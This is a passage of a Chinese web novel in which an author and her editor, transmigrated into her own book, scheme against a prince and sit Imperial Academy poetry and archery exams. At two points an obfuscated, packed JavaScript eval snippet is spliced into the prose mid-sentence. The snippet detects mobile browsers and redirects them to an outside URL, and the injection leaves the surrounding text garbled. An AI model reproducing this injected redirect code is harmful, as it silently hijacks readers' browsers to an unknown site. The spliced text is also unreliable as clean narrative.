许是展颜的目光过于探究与炽烈,傅朝尘察觉,侧目与展颜对上了视线。 少女的明眸在阳下如刚润色过的琥珀,透亮,一身鹅黄色在人群里显得格外突出。 糟糕,对视上了,展颜心虚地错过目光。 “秋果,回府回府。” 人群里,一个小小的黄色身影灰溜溜地跑了。 傅朝尘没有在意,收回目光,将手里握着的缰绳一拎。 “进宫!” 白马向前驰起,踏起青石地面细微的粉尘。 李公公急忙向侧边避让。 “哎呦喂——” …… 莲宜山的香积寺静谧,怀袖亭边更是无人经过。 “怎么了,这么愁眉苦脸的,前几日系统不是刚报过好感度升到10%了,不开心啊?”祁浮生在亭子里坐下说道。 他在看见展颜放飞的风筝后,就赶来了怀袖亭。 “这是什么?”展颜见祁浮生手里拿着的一包东西。 祁浮生将手里的纸包放置桌上,解开缠绕的红棉绳。 “瓜子?” 展颜瞠目结舌,看着平放在桌上油纸里满满当当的瓜子:“你买这个做什么?” “方才路过香积寺被忽悠着买了一包。”祁浮生拾起一颗,置于齿间咔擦一咬,“味道还不错,来一颗?” “……你还有心情吃?”展颜无语道。 “你不是叫我来讨论剧情的嘛,我平常写文想剧情的时候就喜欢干些小动作,不然想不出来。”祁浮生见展颜不解道。 “你平时也写文?”展颜狐疑地拾起一颗瓜子。 “编辑成为编辑之前也是一个作者好不好,会写书不是基础吗,怎么样还不错吧?”祁浮生见展颜嗑起瓜子。 “对哦,忘记了。”香积寺的瓜子香咸,在口中的美妙滋味久久难以散去,“嗯,还不错诶!” 该说不说,这么一嗑,展颜方才紧张的心情放松了许多。 “是吧。”祁浮生笑道,“说吧,为哪一段剧情发愁呢?” “咔擦——” “祁浮生,你还记的我书里的那个三皇子傅朝尘吗,就是那个喜欢展清梦,和你联手后来把祁泽川给干死的那个?”展颜道。 “傅朝尘?这么重要的人物当然记得了,他不是要到后面皇家狩猎的剧情里才出场吗,怎么了?你不至于现在就开始怕他了吧?”祁浮生嚼着瓜子。 “你这什么态度,你是无所谓因为原书里是你把他给设计了,虽然你现在和我是一个阵营的,但是原书里我可是被他整的挺惨的,你这是站着说话不腰疼。”展颜控诉道。 “我今天在街上见着他回京了,我以作者的身份以及写了那么多书的经验为担保,我觉得傅朝尘没有想象中的好搞,以我对他的了解,我觉得他会见招拆招,不太好骗。”展颜道,“咔擦——” “而且你别忘了。”展颜将面前嗑出来的瓜子壳拢起到一边。 “虽然傅朝尘比较晚出场,但是在狩猎时,你已经是他背后的幕僚,他和你之间的交流可是早早就开始了,他随时都有可能来找你,现在要担心自己的人应该是你才对。” 展颜见祁浮生嗑瓜子的动作一顿,一脸得意地看着他。 “那很好办啊。”祁浮生道,“傅朝尘想要的无非就是前朝皇帝送给展五德承诺‘共治天下’的玉玺,以及娶一个展家的姑娘以示这个权利来的名正言顺。” “我要做的就是把展家的玉玺偷出来,然后使一个美人计,把你和玉玺一起包给三皇子送过去不就行了,这样子还能确保展清梦不会被盯上,男女主也可以正常在一起,两全其美不是?” 语罢,祁浮生一脸看戏的表情观察着展颜的反应。 展颜:“?” 存心气我是吧,展颜听得牙根痒痒。 “你敢!”她的手锤在石桌上,就差站起来揍他了。 “开个玩笑嘛,看你急得跟只兔子似的。”祁浮生急忙摇头,抬手制止展颜想要站起来揍人的冲动。 怎么可能会把你送出去,我把我自己送出去,都不能把你送出去,护你周全可是我的主线任务啊。 “兔子急了也咬人!”展颜道。 祁浮生:“好好好,不开玩笑了,那你打算怎么办?” 展颜思考着,她如今对傅朝尘的认识只停留在作为一名作者对自己笔下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467510|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角色最表面的程度。 毕竟经过这些日子在书里经历的一切,展颜已经发现除了会出现书里的剧情点之外,有些没有描绘出来的东西也在这个世界里有着很大程度的占比。 她对傅朝尘这个爱出温柔刀的角色越来越没有底,目前只能认定的是这个傅朝尘是个纯纯反派,不会真心爱上任何人,哪怕是展清梦。 傅朝尘的夺位之路上离不开展家和祁浮生,展颜和祁浮生的主线任务离不开展清梦与祁泽川两人,总而言之,想要完全避开傅朝尘是件完全不可能的事情。 那么就只能在与他周旋之间,慢慢了解他,找到破解之法。 展颜看着祁浮生,直至看到祁浮生心里发毛。 “你盯着我做什么?” “没事。”展颜摆手,“本来我是想着咱们要是能避开傅朝尘就避开的好,但是现在看来,还是要你在他有意招揽的时候,到他面前演上一演,探探口风了。” 展颜本以为祁浮生会拒绝,毕竟这样他的生存风险就会大大增加。 但没想到。 祁浮生叹一口气随后笑道:“咳,我还以为是什么,行,包在我身上。” 看着他这副样子,展颜道:“你真的是个编辑嘛,怎么看上去这么不靠谱的样子。” “强制行动力产生的好奇心理,从而产生的不确定性,也是容易出奇梗的重要方式。” “那你注意点安全。”展颜道。 在傅朝尘身边潜伏着,可不是一件容易的事情。 甜宠文写了那么多,但是现在对着祁浮生,展颜却连一句像样的关心安慰话都说不出来。 只是这么干巴巴的一句。 “怎么?关心我?” “谁关心你了,我那是怕你被傅朝尘搞没了,之后我的日子会孤独得很。”展颜犟嘴道。 “是是是,没人陪你为了剧情斗嘴,确实无聊哈。”祁浮生应和道。 两人皆是沉默一瞬,气氛不知为何有些凝重起来。 “咔擦——” “咔擦——咔擦——” 桌上堆起来的瓜子壳越来越多,紧绷起来的神经又渐渐得以放松。 “不聊这个了。”祁浮生岔开话题,“两日后的国子学月试你想好怎么考了?” 祁浮生今年十九,是在国子学的最后一年。 “不就是考个‘诗’吗,这本书当时写到这里的时候,里面展清梦的卷子都是我这个作者写的,我能不行?”展颜骄傲。 “倒是你,你们考的可是‘射’和‘书’,书法还好说,这个射箭你会吗?” “你看,这你就看扁我了,骑马射箭我可是专业的,当年为了写出策马奔腾最真实的感觉,我可是没少练。”祁浮生道。 展颜嗤之以鼻。 “你别不相信,那我们打个赌,比谁在这个月试里的名次高怎么样?”祁浮生见展颜一脸的不相信,顺势提出了一个赌约。 “可以啊,赌什么?”展颜来了兴趣。 “就赌谁赢了,下一个剧情点谁来改!” “成交!” 最后一颗瓜子光荣就义,外壳落在了瓜子壳堆里。 9. 惊梦 (梦境) 这是在哪里? 展颜端坐着,缓缓睁开眼,眼前一片模糊,仿佛被一层薄雾笼罩着。脑袋像是被重重地敲击过,晕晕乎乎的。 微微侧过头,展颜向着四周打量,她好像置身在一个狭小的空间里。 这个空间四四方方,四周的墙壁触感冰凉,像是木质的结构,透着一种压抑感。 光线有限,空间里显得昏暗,只有微弱的光从前方的缝隙里透进来,勉强照亮了她面前的一小片区域。 外头的声音有点嘈杂。 展颜感觉身上沉甸甸的,被什么东西压着,伸手摸了摸,才发现自己身上的衣服厚实而繁复,一层层布料堆砌在一起,质感却光滑。 在往上,头上的首饰更是压得她头皮生疼,冰冷的金属和宝石闪烁着微弱的光芒,展颜皱了皱眉。 指尖触摸到一个冰冷的物体,她的手指摸索着,勾勒出物体的形状,是一柄团扇。 扇子是暗红的,上面似乎还绣着一些精致的花纹,她看不清细节。 “滴哇——” 一声唢呐的开嗓扰乱了展颜的思绪,登时,锣鼓跟上,喜乐奏起。 直到这一刻,她才恍然意识到自己身上穿着的是一件嫁衣。 展颜的心猛得一沉,这是怎么回事,我怎么会在喜轿里,一种不详的预感涌上心头。 就在这时,轿子突然被抬了起来,展颜只觉得身子一晃,整个轿子开始摇摇晃晃起来。 她紧紧抓着那柄团扇,试图稳住自己的身体,可轿子的晃动却让她头晕目眩,仿若整个天地都在旋转。 “吉时已到!起轿——” 媒婆的声音自轿外响起。 啊? 展颜慌了,想要站起身,却发现自己的腿脚不受控制,根本站不起来。 “两个轿子都是要去祁府的吗?” 展颜听见外头有人疑问道。 “可不是吗,这展家的一对女儿正好许配给了祁家的两位公子,也算是门当户对了。”有人回答。 “展太傅也是一世清名,为了不毁清誉携冤自缢,幸好有祁家这般讲义气的世交,得以托付一对碧玉,哎,若不是上面施压……说幸也是不幸。” “你不要命了,天子脚下这般说话。”有人制止。 …… 许配给了祁家的……两位公子? 展颜愕然。 那她这是要去嫁祁浮生了? 不对,按原书,展颜已经和祁浮生达成交易,换轿子,她嫁祁泽川,他娶展清梦。随后,祁浮生就会暗中再动手脚,将她交到傅朝尘的手里。 不行,不行! 作为骗嫁的当事人,展颜的内心真真的感受到了一种无力的慌张感。 不多时,轿子直接抬进了祁府,两顶轿子双双停驻在后院里,隔着一小段的距离。 后院无人,等着到了吉时再来人领着新娘子前去拜堂。 展颜慌得心里直突突,但却无法逃走,恐惧感蔓延至嗓子眼,像是要把她的心脏给顶出来。 手心里冒起了冷汗,不知道原书的展颜在这时候是作何感想,一定在期待嫁给自己的心上人。 但是如今的她知道自己马上就要被祁浮生背叛,送去给傅朝尘。 但祁浮生会不会也…… 展颜不敢想,剧情一下子推进了这么多,这个猜想不太可能,但是她却还是像抓住了根救命稻草般,有了一丝喘息的空间。 无措的心情牵动着展颜,她竟没有发现,眼睛已经被一层薄薄的泪水糊了双眼。 轿子外传来硬靴踏着地面的声响,有人来了。 展颜的轿子被掀开门帘,一张熟悉的略微苍白的脸猝不及防出现在展颜面前。 祁浮生! 祁浮生面无表情,但在见到展颜一双水汪汪的眼眸带着希冀般看着自己的时候还是怔愣了一下。 “祁——” “看来迷药下的不够,怎么就醒了。”祁浮生道。 展颜的话被打断。 “什么迷药,你在说什么?”展颜问。 祁浮生没有回答展颜的话,看着她的眼神里不带一丝感情,甚至可以说是有些厌恶。 展颜心里某处地方开始崩塌,渐渐成了一地碎渣。 “你不是——” 祁浮生再一次打断展颜的话,“既然醒了,那我也懒得和你兜圈子,等下傅朝尘的人会来把你接走……别想着跑。” 见展颜的目光颤抖,祁浮生补上一句。 “……” 展颜见祁浮生拿出一块手帕,在帕子上撒了点“水”,随后他将半个身子探进轿子,直接把帕子捂在了展颜的口鼻上。 “唔!”展颜惊惧,动着唯一能够使唤的双手,使劲拍打着祁浮生的手臂,面上的桎梏未松,反而越来越紧。 快憋不住了,展颜猛吸了一口气,一股甜丝丝的气味沁入肺腑,顿时展颜的手无力起来。 是刺麻散! 眼角的泪水悄然滑过脸颊。 不要,展颜的眼里染上红血丝,视线又开始模糊起来。 不要…… 不要……不! “不要!” 展颜尖叫着坐起身,心脏在心口狂跳着。 轻纱帷幔里,身上穿的寝衣已经被汗水打湿,发丝散乱,额角的鬓发糊在脸上,面颊上的泪水混合着汗水,刺痛着双眼。 她的双手微微颤抖。 方才的……是梦?也太真实了些。 “姑娘?”秋果听到动静跑进了屋里。 “姑娘这是梦魇了,可要喝些水?”秋果撩开帷幔,将一盏茶端给展颜。 凉水下肚,展颜冷静了下来。 “姑娘肯定是这两日为了准备月试累到了身子。”秋果担心道。 展颜轻轻摇头,一言不发。 “那姑娘再睡会儿,不用担心今日月试迟到。现下是丑时,等到卯时了奴婢再来叫姑娘。”秋果说罢便退下了。 房里安静,除了展颜微微粗重的喘息声,再没有其他声响。 将脸上的湿发搭到耳后,展颜背靠在床头,梦境里的窒息与恐惧感还淤堵在胸口,根本睡不着。 刚才的经历与其说是梦,不如说是展颜日后可能会有结局。 梦里的一切都是原书的情节,换轿,骗嫁……展颜不敢想了。 出神间,展颜的眼前浮现出祁浮生的脸,那张脸阴暗到可怕。但还好,展颜心里竟生出一丝庆幸,还好现在的祁浮生是自己人。 心里安稳了不少,赶紧睡吧,今日还要月试呢,又是一场硬仗要打。 展颜向下往被子里窝了窝,轻轻闭上了眼。 …… “李兄今日看着这般神朗气清,定是准备得充分了!” “哈哈哈哈,沈兄莫要说笑了。” …… 休沐后,国子学前的长阶上又是热闹了起来。 各家学子互道着安。 京城的国子学,是国子监的最高学府,只供给 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“还没有定数的事,那我就当是妹妹的祝福了。” 阮芊芊的声音传进了展颜的耳朵里。 惺惺作态,展颜锐评。 还没有到时间,国子学的大门没有开,高大的双对门前,学子们大大小小地聚着,客套地闲聊着。 “阮姐姐,怎么不见展颜今日和你一起?你们平日不是总是走在一起的?”官家小姐问道。 展颜的耳朵竖起来,我倒要听听你怎么说。 阮芊芊哑然失笑,道:“不知,许是展颜妹妹今日紧张,现下正在临时抱佛脚吧。” ? 什么鬼?就这么在背后说我? 忍一时风平浪静,退一步海阔天空,忍一时…… 展颜在心里念叨着。 “抱什么佛脚?”展清梦道。 ? 啊?!这又是什么情况? 展颜只觉得手腕被展清梦拉过,直接被带着走到了阮芊芊的面前。 直接硬刚啊,阿姐? 展清梦正的发邪,展颜佩服到五体投地。 “展,展清梦,展颜,难得见你们姐妹俩走在一起啊。”被直接撞破,阮芊芊脸色有点发青,但还是不卑不亢打了招呼,还不忘刻意调侃。 “临时抱佛脚又如何,那也是正当的,不至于做一些背后见不得人的手段。”展清梦板着脸道。 阿姐威武啊,敢说。 展颜站在展清梦身后,瞬间振奋起精神,挺直腰板,一脸神气地看着阮芊芊。 怎么样,我有人护着,略略略。 “我不是那个意思,清梦姐姐误会了。”阮芊芊谄媚道。 展清梦是善良,又不是傻,之前对阮芊芊设计她的种种事情一忍再忍,不就是因为她是展颜的朋友,可如今展颜醒悟,那她也就没有必要在给一些不要脸的人面子了。 “是不是误会,阮姑娘自己心里清楚。”展清梦道。 “就是就是!”展颜在展清梦身后阴阳怪气地附和道,“怕是有些人连临时抱佛脚的人都比不上。” “……是。”阮芊芊面上端着笑,但握紧的拳头却在身侧嘎吱响。 “门开——入学——” 就在这时,守门人将门打开。 两扇木门由外向内打开,学子们鱼贯而入。 10.月试 “砰砰砰——” 学子们在国子学的空场前站定后,空场两侧的大鼓连敲三声,余音回荡,以示肃静。 祭酒站在台上,一身白衣,面容严肃。 “今是开鸿四十九年春,国子学举行月试,尔等皆是高门子弟,将来也都将成为国之栋梁。” 祭酒停顿,环视台下,空场上,学子们站得整齐。 “天子脚下,万里宏图,今日月试,君子六艺取‘射’‘书’,女子八雅取‘诗’‘琴’。士别三日,当刮目相看。”祭酒道,“使出全力,是对对手的尊重,也是对自己的负责。” “那么接下来,男学子跟着祁将军前往武场,女学子跟随陈司业前往花亭,我对你们的表现拭目以待。” 国子学花亭。 花亭三面环水,亭子边的围栏上装点着各式的鲜花,常见的有桃花,杏花,月季,还有鲜少的四季菊等,好不繁盛。 水光潋滟,天朗气清。 陈司业站在花亭的木台上,手边放着一沓上好的宣纸。 “姑娘们,春光大好,不必如此面目凝重。”陈司业慈祥的声音响起。 国子学选学生有要求,选老师更有要求,陈司业是国子学唯一的一位女傅,也是唯一一位职位高至司业的女傅。 平日里她虽要求严格了些,但对女学子们都是极好的,关心学子们的日常生活,进到一个司业的职责。 “如你们所见,今日我们的‘诗’,就以‘花’为题。”陈司业向着花亭围栏上的百花以及湖边各式的花卉挥了挥衣袖,“这题虽不新,但我希望你们的诗可以让我眼前一亮,只要是你们看见的,都可以写进你们的诗里。” “好了,上来领纸笔吧。”陈司业将宣纸摊开。 “等等!”展颜道。 “展二姑娘可是还有什么疑问?”陈司业动作顿住。 “陈司业。”展颜上前行礼道,“我有一计,可让这场月试新鲜些。” 展颜面上自信,但实则内心忐忑,昨日她想了许久,既然阮芊芊早就有计划要调换掉展清梦的试卷,她没有十全的把握可以阻止。 那就只有一个办法,从源头彻底根除掉这个隐患。 今日的诗不能写在宣纸上!要当场评定。 “陈司业请看,这国子学里的万紫千红都展示着春日的灵动,将这些活物禁锢在死气沉沉的白纸上未免沉闷,不如我们换一个考法?”展颜道。 “哦?”陈司业被展颜的话勾起了兴趣,“那展二姑娘认为该如何考,才不显得沉闷?” 太好了,陈司业感兴趣! “学生以为,现下春日正浓,正如有诗曰:‘有花堪折直须折,莫待无花空折枝。’不如让学生们采来心怡之花,直接在亭中对花吟咏,也不会浪费了春色。” 展颜语罢,观察着陈司业的表情。 “陈司业莫要见怪,展二姑娘这是胡言乱语,月试一直以来都是做在卷子上,何来这么一说。”阮芊芊开口。 可恶,要是不写在宣纸上,她怎么调换展清梦的卷子,阮芊芊在心里暗暗咒骂道。 “我觉得甚好,春日易逝,更应该有及时行乐的雅兴!”陈司业面露赞许道,将手里的宣纸放下。 啊?阮芊芊哑然失笑。 耶!太棒了!展颜心花怒放。 “本还觉得以花为题不免有些老旧,但展二姑娘这么一言,竟多了这般多的新意,那就按展二姑娘所言,姑娘们,一炷香时间,现在去寻找你们的春色吧。”陈司业道。 手里拎着竹篮,展颜在万花丛中走过。 桃花……不行,杏花……也不行…… 小说里不都是这么写的吗,在其他学生都在歌咏京城繁华,华灯初上,时光易逝催人老,花前月下情天恨海的时候,只有女主会通过吟咏所有之物,来描写边疆战士的不易。 咱们的格局要打开。 当初展颜给原书里的展清梦就是这般安排的,最后让她得了一个“诗”一甲。 但是这回,阿姐抱歉了,为了赢过祁浮生,她也要这么干。 展颜掠过繁花,直直走到朱槿花的面前。 朱槿花虽没有其他花那般层层叠叠,繁盛非常,一根茎叶上只会开一朵花,但是它红艳似火,就像…… “阿颜?” 展颜想要摘朱槿的手顿住,展清梦走至她身边。 “你也喜欢这朱槿?” 展颜往展清梦的竹篮里看去,果不其然,她已经采了朱槿。 “嗯,我觉得这花开得艳……”展颜有点心虚。 展清梦闻言一笑,将竹篮里的花拿出来,放至展颜的篮子里:“那阿姐就拭目以待阿颜的诗了。” 天呐,这是什么神仙女主!展颜感慨。 “那阿姐你怎么办?” 展清梦转过身,将食指放在唇前做了一个噤声的手势道:“阿姐自有办法。” 一炷香很快燃尽,学子们都回到了花亭里。 “粉桃三两朵,斜倚晓风开” “梨花初带雨,不敢大声白” …… 陈司业走至一位位学子身前,听着她们吟出的诗词面带微笑。 陈司业走至阮芊芊的桌前。 阮芊芊将竹篮打开,只见里面摆着许多的鲜花。 “司业,学生所作之诗题为《芳丛》。”阮芊芊道,“春枝争艳色,百态竞风华。或似琼妃傲,还如小玉斜。” “写的好好,我好像看到了万花争春的场面。”有人小声说道。 阮芊芊微笑,抬手从竹篮里拿出一支春梅道:“学生以琼妃喻女子高洁,写的是京城贵女们在春日里竞争春意的美好场景。” 陈司业点点头:“对仗工整,也是符合今日的主题。” “这没有一甲都说不过去了,一首短短五言绝句,却也这般出彩,阮姐姐的才情真是让我刮目相看!”站在阮芊芊身边的礼部主客司长千金白瑾瓷道。 “妹妹过誉了。”阮芊芊得意的表情难压,她看向展颜,神情里带着轻蔑。 这还白上我了?展颜被阮芊芊这一眼气笑了。 得意什么呢,格局要打开。 “展二姑娘,你的诗如何?”陈司业走至展颜的桌案前,面上带着鼓励的笑。 原书展颜的诗不好,之前的月试,凡是抽到这个“诗”,她不是把墨泼到身上了,就是把笔给弄折了,反正就是两个字“不会”。 阮芊芊一脸得意地看着展颜,看你自己挖出来的坑,自己可是要往下跳了。 “这展颜行吗,她的诗词我们可是见识过的,呕哑嘲哳,今日站得那般有气势,好像装得还真是那么一回事。”白瑾瓷道。 “展二妹妹定是好好准备过一番的。”阮芊芊对着身侧的白瑾瓷说道。 话虽如此,但国子学里谁不知道展颜在诗词上就是一个半吊子呢。 “阮姐姐你还是太善良了,怪不得我大哥那么喜欢你。”白瑾瓷道。 阮芊芊脸上的神情一瞬间没挂住,随后又急忙摆上娇羞模样:“白妹妹莫要取笑。” “司业。”展颜将篮子打开,里面静静躺着一朵朱槿。 理了理袖子,展颜将朱槿拿出,火红的花朵在她白皙的手掌里,就像捧着一汪鲜血。 “学生此诗题为《赋赤英》。”展颜停顿,继续道,“万朵扶桑血铸红,敢擎烈焰照苍穹。不辞焚作神州土,尤绽山河寸寸中。” “好诗!”展颜刚说完,陈司业便拍手叫起了好,“展二姑娘才当真是心中有丘壑之人。” 陈司业的眼里满是欣赏。 “司业懂我,学生以朱槿扶桑象征民族脊梁,将花色比作烈士们的丹心,是万千的战士们,才有了京城里的这般繁华。” 太好了,拿下。 “是!”陈司业点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473711|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。 “这……怎么可能。”阮芊芊念叨着,听到展颜的诗词是也是不免被诗句里的恢弘意象惊得一颤。 阮芊芊自知结局已定,绝无逆风翻盘的可能,今日她阮芊芊是败给展颜了。 “今日的展颜怎么会作诗了?”白瑾瓷疑惑,看了一眼边上脸色不好的阮芊芊,识趣地闭上了嘴。 “展大姑娘,你呢?”陈司业最后走至展清梦面前。 展清梦面色温柔,缓缓打开了面前的竹篮。 展颜好奇地看过去,空的? 不对,不是空的! 展清梦从篮子里捧出一小捧棉絮一样的东西。 “这是……柳絮?”陈司业好奇道。 “正是。”展清梦点头。 柳絮? 展颜也是好奇,这拿着柳絮是什么意思。 柳絮完全没有其他春花那般鲜艳,不能争春,也没有她挑的朱槿这般有指向性。 “题为《絮咏》,司业请听。”展清梦道,“素雪非争艳,乘风作暖尘。君看千陌上,春自絮中生。” 语罢,四座皆是一片沉静。 “君看千陌上,春自絮中生……”陈司业重复着展清梦的诗句,不由地红了眼眶。 “阮姐姐这诗是什么意思?好吗?”白瑾瓷问道。 “这……”阮芊芊不敢评价,这诗听上去平平无奇,她不知道为什么陈司业会红了眼眶。 这是……在吟咏百姓?展颜后知后觉。 “是啊,柳絮虽不艳丽,就如世间的每一个人,每一位百姓,他们朴实真诚,即使无法争艳,也在好好地享受着春日。谁说花只能是艳丽的,它也可以是普通的,渺小的。而‘春自絮中生’,我们的城,我们的边疆,我们的衣食住行,我们所享受的春日,哪里少的了百姓们呢?”展清梦道。 又是一阵沉默。 “竟是这般。”有人道,“是我们浅薄了,一时竟还无法理解。” 出现了,出现了比写边关战士还厉害的答案。 天呐,展颜愣住了。 青出于蓝而胜于蓝,果然是女主,不管在什么时候都可以逆风翻盘,即使是我占了她的原路线。 展颜心里莫名涌起自豪的情绪。 阮芊芊的诗词虽然歌咏了京城贵女的品性高洁,有风骨不艳俗,扣住了主考官最爱的文人风骨,但和展颜、展清梦的由花言天下志向的诗词相比,还是小巫见大巫,不免狭隘,终还是成了闺阁女子的闺怨诗。 格局差距之大,如何相比? 陈司业眼里是抑制不住的赏识,她抹了抹眼角的泪,走上木台。 “今日的‘诗’试,想必各位对结果都有预料了。一甲——展清梦,二乙——展颜……” …… “诗”试散场后,等着“琴”试的空隙,各家姑娘皆来道喜,阮芊芊也是。 “恭喜展大姑娘和展二姑娘,包揽了此试的一二名。”阮芊芊道,强压下心里的不痛快。 “阮妹妹的诗词也是不错的。”展清梦笑道。 展颜见状本也要说上几句,却被一群熙熙攘攘跑向武场的姑娘们吸引住了目光。 “哎你们听说了吗,今日男子的武试可精彩了!”有人道。 武试?展颜想到了祁浮生,脑子里想象着他骑马的样子。 嗯……想象不出来。 “还有,我听说兵部尚书和工部侍郎家的公子起了争执,说是要较量一番。” “兵部侍郎家的公子?新回京的小将军祁泽川吗?他不是这次的考官之一,为什么会和学生起了争执?” 什么情况?祁泽川又要出事了?展颜竖起耳朵。 “不是,是他的弟弟,祁浮生。” 祁浮生……哦,幸好不是祁泽川…… 等等…… 什么?! 祁浮生? 展颜愕然。 11.月试2 “哎,阿颜你要去哪?” 展清梦见展颜头也不回地随着人群往武场跑,也顾不上和阮芊芊阴阳,连忙追了上去。 祁浮生你可别乱来啊,展颜心里想到,你要是有个三长两短的,我怎么办呐。 好端端的逞什么强,就算你有那个本事,也别轻举妄动啊。 离武场近了些,展颜可以勉强听见一些从武场里传来的呐喊声。 武场边上围着很多人,除了刚刚考完“射”试的男学子,还有一些来看热闹的女学子。 “呼——”展颜跑得有些急,喘不上来气。 勉强缓过神来。 “劳,劳驾,请问现在是谁在考?”展颜上气不接下气地询问身边站着的学子。 “‘射’试,其他的学子都考完了,就剩下曹轩、魏子谦和祁浮生,他们最后考,说是祁浮生不服气曹轩和魏子谦的骑术,要和他们切磋一番。” 展颜:“?” 大哥哎,这个时候不服气什么啊? 展颜道谢,扒拉开挤在前面的人群,向着武场里看着。 “来了来了!”有女弟子兴奋地说道。 “看那里!”有人喊道,“是祁二公子!” “祁二公子!” “祁二公子加油!” …… 展颜:“?” 祁浮生一直,都这么受欢迎的吗? 围观的不止有国子学的学子,还有太学、四门学等学府来的。 “那个,想问一下祁浮生是一个什么样的人啊?”展颜拍了拍边上刚刚喊祁浮生名字的一位女学子。 女学子看着不认识展颜,便直接开口道。 “嗯?你是问祁二公子?他呀,虽然面冷,话也少,只会对展氏的大姑娘展清梦说话,但是他长得俊俏,这还没有及冠却精通药理和兵法,可是不能多得的少年英才。”女学子有些兴奋。 “对对对,祁二公子可是很受欢迎的,虽然我们不是国子学的学生,大部分人都不太敢与其搭话。”又有学子说道。 哇哦。 我怎么不知道,连我这个作者都不知道,祁浮生这么…… 受欢迎? 展颜微挑眉头。 我记得他不是被自己的爹打得挺惨的吗? “以往武场祁二公子都是不来的,因为身子不好,如今他主动提出参加这骑射考试,我们岂有不来看的道理。”一位女学子说道,还微微红了脸。 祁浮生你魅力挺大啊。 之前一直把注意力放在祁泽川和傅朝尘的身上,展颜倒是把这一点给忽视了。 好像确实。 相比较于祁泽川的七岁随军戍边二十二回京,以及傅朝尘离京三年,祁浮生才是那个一直待在京城的人。 兵部尚书的儿子,长得俊俏,不苟言笑,在外界看来还专情于展清梦一人,这样的人设放哪里不是高冷纯情大男主。 低估了低估了。 可是,哼哼你们都看错了,这人可是货真价实的病娇男二,展颜吐槽。 号角的震彻声打断了展颜的思绪。 三骑并立,武场上顿时尘土飞扬。 在两匹栗色骏马之间,祁浮生的白马格外显眼。 墨绿旗装的少年一勒缰绳,骏马前蹄立起,他半束的黑发在风中肆意飞扬,发尾扫过含笑的眼睛,像一匹不羁的野马。 旗装在朔风中猎猎翻飞,缰绳在略显苍白的指间绕出妖异的红痕。 “啊祁二公子——” 展颜捂住耳朵,耳膜快被边上传来的尖叫声穿透了。 孔雀开屏,展颜锐评。 等会儿要亮真技术的时候指定露馅。 “今日的祁二公子好似格外不同哎。”边上有人说道。 展颜扶额,祁浮生啊你悠着点,人设啊人设! 栗色骏马与白色骏马对峙而立。 “祁浮生。”曹轩开口道,眼里的神情带着不屑,“你这身子骨能骑马吗,别等会儿跑散架了。” “哈哈哈哈哈,曹兄,哈哈哈哈哈。”在曹轩身侧马上的魏子谦前仰后合地笑道。 祁浮生不语,只是一味看着两人。 “喂,这次我们可没有调侃展家的姑娘,你至于这般吗?”曹轩道。 祁浮生喜欢展清梦的这件事大家都是心知肚明的。 “没有?那方才我听到的是什么,两位把我当聋子呢。”祁浮生开口。 “方才?咳!我们说的是展颜。”魏子谦一愣,“你不也不喜欢那展颜吗,我们调侃几句怎么了。” 祁浮生眉尾微挑,抓着缰绳的手紧了紧。 “射”试开始前,他正在给自己马装马鞍,隔着木头门板就听见这两个浪荡子弟拣着展颜在闲聊。 “哎方才阮芊芊同我说展颜这几日性子变了,跟她都不怎么有好脸色了。”魏子谦搭上曹轩的肩膀说道,“你说以后她要是不跟阮芊芊亲近,我们还能捞到什么好处。” “想多了吧,就展颜那个脑子,阮芊芊把她卖了她都能帮着阮芊芊数银票,最多就是这几天心情不好,脾性又大,多哄哄就好了。”曹轩不以为然。 “我就说呢,阮芊芊也是想多了。”魏子谦点点头,“你今日在国子学门前看到展颜了吗,她今日和展清梦走在一起,我远远看着也是一下子没认出来。” 曹轩给马梳鬃毛的动作停下来:“你这么一说,好像还真是那么一回事,这次休沐过后展颜好像是变了一点哈。” “是吧!”魏子谦的语气里带上来一点登徒子般的腔调,“变好看了!” 祁浮生装马鞍的动作停住,眉头皱起,抬起头。 “展清梦那样的绝色咱们要是享不到,你说这个展二姑娘也是极好的吧,至少也是正一品官员千金。”魏子谦道,跺了跺脚想把鞋子上的泥块蹭干净。 “你小子——”曹轩笑得猥琐,话还没说完,隔间的木门被一把推开。 祁浮生站在门口。 他也不清楚自己为什么要这么做,但心里就是不痛快。 明明可以当作没听见。 也许因为展颜是和自己一起穿过来的,有一种莫名的集体荣誉感,祁浮生想到。 “祁浮生?你做什么?”曹轩问道。 “曹公子最近很闲?那不如等会儿的考试我们比试一番?”祁浮生说完头都没回,直接就走了,留下两个人在马厩里大眼瞪小眼。 武场。 “误会了是吧,没事没事,我俩大人不记小人过这次就放你一马,别比了,等会不知道你会损成什么样。”曹轩摆了摆手,语气欠得很,好像自己高抬贵手做了什么好事一般。 语罢,就要勒马离场。 祁浮生将手里的马鞭一甩,鞭尾擦着曹轩的后脑勺打到了沙地上,激起一片尘土。 “祁浮生,你敢打我?”曹轩下意识捂住后脑勺道,语气里是不可置信。 “打得就是你。”祁浮生道。 “你——”曹轩道。 祁浮生将草球系在马背上,直接忽视曹轩,将马骑到考试场地。 “他发什么神经?”魏子谦道。 “谁知道!”曹轩恼火至极,拳头握紧打在马鞍上,“等会有他好看的!” 三匹马站定在了规定的地皮上。 